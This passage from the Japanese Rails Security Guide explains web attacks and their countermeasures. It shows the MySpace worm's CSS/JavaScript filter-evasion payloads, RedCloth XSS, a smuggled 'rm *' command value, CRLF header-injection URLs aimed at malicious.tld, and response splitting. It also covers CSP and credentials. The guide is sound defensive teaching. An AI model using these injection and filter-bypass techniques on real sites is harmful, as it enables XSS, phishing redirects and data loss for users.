MySpaceでは多くのタグをブロックしていましたが、CSSについては禁止していなかったので、ワームの作者はCSSに以下のようなJavaScriptを仕込みました。
<div style="background:url('javascript:alert(1)')">
ここでスクリプトの正味の部分(ペイロード)はstyle属性に置かれます。一重引用符と二重引用符が既に両方使われているので、このペイロードでは引用符を使えません。しかしJavaScriptにはどんな文字列もコードとして実行できてしまうeval()関数があります。この関数は強力ですが危険です。
<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">
eval()
関数はブラックリスト方式の入力フィルタを実装した開発者にとってはまさに悪夢です。この関数を使われてしまうと、たとえば以下のように「innerHTML」という単語をstyle
属性に隠しておくことができてしまうからです。
alert(eval('document.body.inne' + 'rHTML'));
次の問題は、MySpaceは"javascript"という単語をフィルタしていましたが、「java<NEWLINE>script
」と書くことでこのフィルタを回避できてしまったというものです。
<div id="mycode" expr="alert('hah!')" style="background:url('java script:eval(document.all.mycode.expr)')">
次の問題は、ワームの作者がCSRFセキュリティトークンを利用していたことでした。これがなければ友達リクエストをばらまくということはできない相談だったでしょう。ワーム作者は、ユーザーが追加される直前にページに送信されたGETリクエストの結果を解析してCSRFトークンを得ていました。
最終的に4KBサイズのワームができあがり、作者は自分のプロファイルページにこれを注入しました。
moz-bindingというCSSプロパティは、FirefoxなどのGeckoベースのブラウザではCSS経由でJavaScriptを注入する手段になる可能性があることが判明しています。
繰り返しますが、ブラックリストによるフィルタが完成することは永久にありません。しかしWebアプリケーションでカスタムCSSを使える機能はめったにないので、これを効果的にフィルタできるホワイトリストCSSフィルタは簡単には見つからないでしょう。Webアプリケーションの色や画像をカスタマイズできるようにしたいのであれば、ユーザーに色や画像を選ばせ、Webアプリケーションの側でCSSをビルドするようにしましょう。ユーザーがCSSを直接カスタマイズできるような作りにはしないでください。どうしても必要であれば、ホワイトリストベースのCSSフィルタとしてRailsのsanitize()
メソッドを使うこともできます。
セキュリティ上の理由からHTML以外のテキストフォーマット機能を提供したいのであれば、何らかのマークアップ言語を採用し、それをサーバー側でHTMLに変換するようにしてください。RedClothはRuby用に開発されたマークアップ言語の一種ですが、気を付けて使わないとXSSに対しても脆弱になります。
例を挙げます。RedClothは _test_
というマークアップを<em>test<em>
に変換します。この箇所のテキストはイタリックになります。しかし、執筆当時の最新バージョンである3.0.4までのRedClothはXSSに関しても脆弱でした。この重大なバグを取り除くには最新のバージョン4を入手してください。しかし新しいバージョンにも若干のセキュリティバグがあるため、対応策は未だに欠かせません。バージョン3.0.4の例を以下に示します。
RedCloth.new('<script>alert(1)</script>').to_html # => "<script>alert(1)</script>"
テキスタイルプロセッサによって作成されていないHTMLを除去するには、:filter_html
オプションをお使いください。
RedCloth.new('<script>alert(1)</script>', [:filter_html]).to_html # => "alert(1)"
ただしこのメソッドでは、仕様上一部のHTMLタグ(<a>
など)が除去されません。
RedCloth.new("<a href='javascript:alert(1)'>hello</a>", [:filter_html]).to_html # => "<p><a href="javascript:alert(1)">hello</a></p>"
XSS対応策で既に述べたとおり、RedClothは必ずホワイトリストフィルタと組み合わせてお使いください。
通常のWebアプリケーション開発上で必要となるセキュリティ上の注意と同様の注意がAjaxに対しても必要です。ただし1つ例外があります。ページヘの出力は、アクションがビューをレンダリングしない場合であってもエスケープされている必要があります。
in_place_editorプラグインや、ビューをレンダリングする代りに文字列を返すようなアクションを使っているのであれば、アクションで返される値を確実にエスケープする必要があります。もしXSSで汚染された文字列が戻り値に含まれていると、ブラウザで表示されたときに悪意のあるコードが実行されてしまいます。すべての入力値は、h()
メソッドでエスケープしてください。
ユーザーが入力したデータをコマンドラインのオプションに使う場合は十分に注意してください。
Webアプリケーションが背後のOSコマンドを実行しなければならない場合、Rubyにはexec(コマンド)
、syscall(コマンド)
、system(コマンド)
、そしてバッククォート記法という方法が用意されています。これのコマンド全体または一部にユーザー入力が使われるようなことがある場合、特に注意が必要です。これは、ほとんどのシェルでは、コマンドにセミコロン;
や垂直バー|
を追加することで、別のコマンドを簡単に結合できてしまうためです。
対応策は、コマンドラインのパラメータを安全に渡せるsystem(コマンド, パラメータ)
メソッドを使うことです。
system("/bin/echo","hello; rm *") # "hello; rm *"を実行してもファイルは削除されない
HTTPヘッダは動的に生成されるものであり、特定の状況ではヘッダにユーザー入力が注入されることがあります。これを使って、にせのリダイレクト、XSS、HTTPレスポンス分割攻撃が行われる可能性があります。
HTTPリクエストヘッダで使われているフィールドの中にはReferer
、User-Agent
(クライアント側ソフトウェア)、Cookie
フィールドがあります。Response
ヘッダーには、たとえばステータスコード、Cookie
フィールド、Location
フィールド (リダイレクト先を表す) があります。これらのフィールド情報はユーザー側から提供されるものであり、さほど手間をかけずに操作できてしまいます。これらのフィールドもエスケープしてください。エスケープが必要になるのは、管理画面でUser-Agent
ヘッダを表示する場合などが考えられます。
さらに、ユーザー入力を部分的に元にしたレスポンスヘッダを生成するときに、自分が何をしているのかを正しく把握することが重要です。たとえば、ユーザーを特定のページにリダイレクトしてから元のページに戻したいとします。このとき、referer
フィールドをフォームに導入して、指定のアドレスにリダイレクトしたとします。
redirect_to params[:referer]
ここで、Railsはその文字列をLocation
ヘッダフィールドに入れて302(リダイレクト)ステータスをブラウザに送信します。悪意のあるユーザーがこのとき最初に行なうのは、以下のような操作です。
http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld
Rails 2.1.2より前のバージョン(およびRuby)に含まれるバグが原因で、ハッカーは以下のように任意のヘッダを注入できてしまいます。
http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:+Hi! http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:+http://www.malicious.tld
上のURLにおける%0d%0a
は\r\n
がURLエンコードされたものであり、RubyにおけるCRLF文字です。2番目の例では2つ目のLocation
ヘッダーフィールドが1つ目のものを上書きするため、以下のようなHTTPヘッダーが生成されます。
HTTP/1.1 302 Moved Temporarily (...) Location: http://www.malicious.tld
つまり、ヘッダーインジェクションにおける攻撃方法とは、ヘッダーにCRLF文字を注入することです。攻撃者は偽のリダイレクトでどんなことができてしまうのでしょうか。攻撃者は、ユーザーをフィッシングサイトにリダイレクトし(フィッシングサイトの見た目は本物そっくりに作っておきます)、ユーザーを再度ログインさせてそのログイン情報を攻撃者に送信することができます。あるいは、フィッシングサイトからブラウザのセキュリティホールを経由して邪悪なソフトウェアを注入することもできます。Rails 2.1.2ではredirect_to
メソッドのLocation
フィールドからこれらの文字をエスケープするようになりました。他のヘッダーフィールドでユーザー入力を使う場合には、CRLFのエスケープを必ず自分で実装してください。
ヘッダーインジェクションが実行可能になってしまっている場合、レスポンス分割(response splitting)攻撃も同様に実行可能になっている可能性があります。HTTPのヘッダーブロックの後ろには2つのCRLFが置かれてヘッダーブロックの終了を示し、その後ろに実際のデータ(通常はHTML)が置かれます。レスポンス分割とは、ヘッダーフィールドに2つのCRLFを注入し、その後ろに邪悪なHTMLを配置するという手法です。このときのレスポンスは以下のようになります。
HTTP/1.1 302 Found [最初は通常の302レスポンス] Date: Tue, 12 Apr 2005 22:09:07 GMT Location:Content-Type: text/html HTTP/1.1 200 OK [ここより下は攻撃者によって作成された次の新しいレスポンス] Content-Type: text/html <html><font color=red>hey</font></html> [任意の邪悪な入力が Keep-Alive: timeout=15, max=100 リダイレクト先のページとして表示される] Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html
特定の状況では、この邪悪なHTMLが標的ユーザーのブラウザで表示されることがあります。ただし、おそらくKeep-Alive接続が有効になっていないとこの攻撃は効かないでしょう。多くのブラウザはワンタイム接続を使っているからです。かといって、Keep-Aliveが無効になっていることを当てにするわけにはいきません。これはどちらも重大なバグです。ヘッダーインジェクションとレスポンス分割の可能性を排除するため、Railsを2.0.5または2.1.2にアップグレードする必要があります。
Rackがクエリパラメータを解析(parse)する方法とActive Recordがパラメータを解釈する方法の組み合わせに問題があり、where句がIS NULL
のデータベースクエリを本来の意図に反して生成することが可能になってしまっています。(CVE-2012-2660、CVE-2012-2694 および CVE-2013-0155) のセキュリティ問題への対応として、Railsの動作をデフォルトでセキュアにするためにdeep_munge
メソッドが導入されました。
deep_munge
が実行されなかった場合に攻撃者に利用される可能性のある脆弱なコードの例を以下に示します。
unless params[:token].nil? user = User.find_by_token(params[:token]) user.reset_password! end
params[:token]
が[nil]
、[nil, nil, ...]
、['foo', nil]
のいずれかの場合、nil
チェックをパスするにもかかわらず、where句がIS NULL
またはIN ('foo', NULL)
になってSQLクエリに追加されてしまいます。
Railsをデフォルトでセキュアにするために、deep_munge
メソッドは一部の値をnil
に置き換えます。リクエストで送信されたJSON
ベースのパラメータがどのように見えるかを以下の表に示します。
JSON | Parameters |
---|---|
{ "person": null } |
{ :person => nil } |
{ "person": [] } |
{ :person => [] } |
{ "person": [null] } |
{ :person => [] } |
{ "person": [null, null, ...] } |
{ :person => [] } |
{ "person": ["foo", null] } |
{ :person => ["foo"] } |
リスクと取扱い上の注意を十分理解している場合に限り、deep_munge
をオフにしてアプリケーションを従来の動作に戻すことができます。
config.action_dispatch.perform_deep_munge = false
Railsアプリケーションから受け取るすべてのHTTPレスポンスには、以下のセキュリティヘッダーがデフォルトで含まれています。
config.action_dispatch.default_headers = { 'X-Frame-Options' => 'SAMEORIGIN', 'X-XSS-Protection' => '1; mode=block', 'X-Content-Type-Options' => 'nosniff', 'X-Download-Options' => 'noopen', 'X-Permitted-Cross-Domain-Policies' => 'none', 'Referrer-Policy' => 'strict-origin-when-cross-origin' }
デフォルトのヘッダーはconfig/application.rb
で設定を変更できます。
config.action_dispatch.default_headers = { 'Header-Name' => 'Header-Value', 'X-Frame-Options' => 'DENY' }
あるいはヘッダーを除去することもできます。
config.action_dispatch.default_headers.clear
よく使われるヘッダーのリストを以下に示します。
X-Frame-Options
: Railsではデフォルトで'SAMEORIGIN'が指定されます。このヘッダーは、同一ドメインでのフレーミングを許可します。'DENY'を指定するとすべてのフレーミングが不許可になります。すべてのWebサイトについてフレーミングを許可するには'ALLOWALL'を指定します。X-XSS-Protection
: Railsではデフォルトで'1; mode=block'が指定されます。XSS攻撃が検出された場合は、XSS Auditorとブロックページをお使いください。XSS Auditorをオフにしたい場合は'0;'を指定します(レスポンスがリクエストパラメータからのスクリプトを含んでいる場合に便利です)。X-Content-Type-Options
: 'nosniff'はRailsではデフォルトです。このヘッダーは、ブラウザがファイルのMIMEタイプを推測しないようにします。X-Content-Security-Policy
: このヘッダーは、コンテンツタイプを読み込む元のサイトを制御するための強力なメカニズムです。Access-Control-Allow-Origin
: このヘッダーは、同一生成元ポリシーのバイパスとクロスオリジン(cross-origin)リクエストをサイトごとに許可します。Strict-Transport-Security
: このヘッダーは、ブラウザからサイトへの接続をセキュアなものに限って許可するかどうかを指定します。Railsでは、アプリケーションでContent Security Policy(CSP)を設定するためのDSLが提供されています。グローバルなデフォルトポリシーを設定し、それをリソースごとにオーバーライドすることも、lambdaを用いてリクエストごとに値をヘッダーに注入することもできます(マルチテナントのアプリケーションにおけるアカウントのサブドメインなど)。
以下はグローバルなポリシーの例です。
# config/initializers/content_security_policy.rb Rails.application.config.content_security_policy do |policy| policy.default_src :self, :https policy.font_src :self, :https, :data policy.img_src :self, :https, :data policy.object_src :none policy.script_src :self, :https policy.style_src :self, :https # 違反をレポートする対象URIを指定する policy.report_uri "/csp-violation-report-endpoint" end
以下はコントローラでオーバーライドするコード例です。
# ポリシーをインラインでオーバーライドする場合 class PostsController < ApplicationController content_security_policy do |p| p.upgrade_insecure_requests true end end # リテラル値を使う場合 class PostsController < ApplicationController content_security_policy do |p| p.base_uri "https://www.example.com" end end # 静的値と動的値を両方使う場合 class PostsController < ApplicationController content_security_policy do |p| p.base_uri :self, -> { "https://#{current_user.domain}.example.com" } end end # グローバルCSPをオフにする場合 class LegacyPagesController < ApplicationController content_security_policy false, only: :index end
レガシーなコンテンツを移行するときにコンテンツの違反だけをレポートしたい場合は、設定でcontent_security_policy_report_only
属性を用いてContent-Security-Policy-Report-Onlyを設定します。
# config/initializers/content_security_policy.rb Rails.application.config.content_security_policy_report_only = true
# コントローラでオーバーライドする場合 class PostsController < ApplicationController content_security_policy_report_only only: :index end
nonceの自動生成も行えます。
# config/initializers/content_security_policy.rb Rails.application.config.content_security_policy do |policy| policy.script_src :self, :https end Rails.application.config.content_security_policy_nonce_generator = -> request { SecureRandom.base64(16) }
後は以下のようにhtml_options
の中でnonce: true
を渡せばnonce値が自動的に追加されます。
<%= javascript_tag nonce: true do -%> alert('Hello, World!'); <% end -%>
セッションごとにインライン<script>
タグを許可するnonce値を含むcsp-nonceメタタグを生成するには、csp_meta_tag
ヘルパーをお使いください。
<head> <%= csp_meta_tag %> </head>
これは、動的に読み込まれるインライン<script>
要素をRails UJSヘルパーが生成するのに使われます。
アプリケーションのコードや実行環境をセキュアにする方法については、本ガイドの範疇を超えます。ただし、config/database.yml
などに置かれるデータベース接続設定のセキュリティや、config/secrets.yml
などに置かれるサーバーサイドの秘密鍵のセキュリティは保つようにしてください。これらのファイルや、その他重要な情報を含む可能性のあるファイルを、環境に合わせて複数のバージョンを使い分けることで、さらにアクセス制限をかけられます。
Railsは、第三者のcredential(秘密鍵などの秘密情報)をリポジトリに保存するためのconfig/credentials.yml.enc
を生成します。生成したマスターキーをこのファイルに含めてRailsが暗号化し、config/master.key
を除外したバージョンコントロールシステムに登録することで初めて意味があります。RailsはENV["RAILS_MASTER_KEY"]
にマスターキーがあるかどうかもチェックします。またRailsはproduction環境での起動時にcredentialを読み出すためにこのマスターキーを必要とします。
保存したcredentialを編集するにはbin/rails credentials:edit
を実行します。
このファイルには、アプリケーションのsecret_key_base
がデフォルトで含まれますが、外部API向けのアクセスキーなどのcredentialを含めることもできます。
このファイルに追加されたcredentialにはRails.application.credentials
でアクセスできます。たとえば、復号したconfig/credentials.yml.enc
ファイルに以下があるとします。
secret_key_base: 3b7cd727ee24e8444053437c36cc66c3 some_api_key: SOMEKEY
どの環境でもRails.application.credentials.some_api_key
からSOMEKEY
が返ります。
キーが空の場合に例外を発生させるには、!
を付けます。
Rails.application.credentials.some_api_key! # => raises KeyError: :some_api_key is blank
激しく移り変わるセキュリティの動向に常に目を配り、最新の情報を入手するようにしてください。新しく登場した脆弱性を見逃すと、壊滅的な損害をこうむる可能性があります。Railsのセキュリティ関連の追加リソースをご紹介します。
Railsガイドは GitHub の yasslab/railsguides.jp で管理・公開されております。本ガイドを読んで気になる文章や間違ったコードを見かけたら、気軽に Pull Request を出して頂けると嬉しいです。Pull Request の送り方については GitHub の README をご参照ください。
原著における間違いを見つけたら『Rails のドキュメントに貢献する』を参考にしながらぜひ Rails コミュニティに貢献してみてください 🛠💨✨
本ガイドの品質向上に向けて、皆さまのご協力が得られれば嬉しいです。
Railsガイド運営チーム (@RailsGuidesJP)
Railsガイドは下記の協賛企業から継続的な支援を受けています。支援・協賛にご興味あれば協賛プランからお問い合わせいただけると嬉しいです。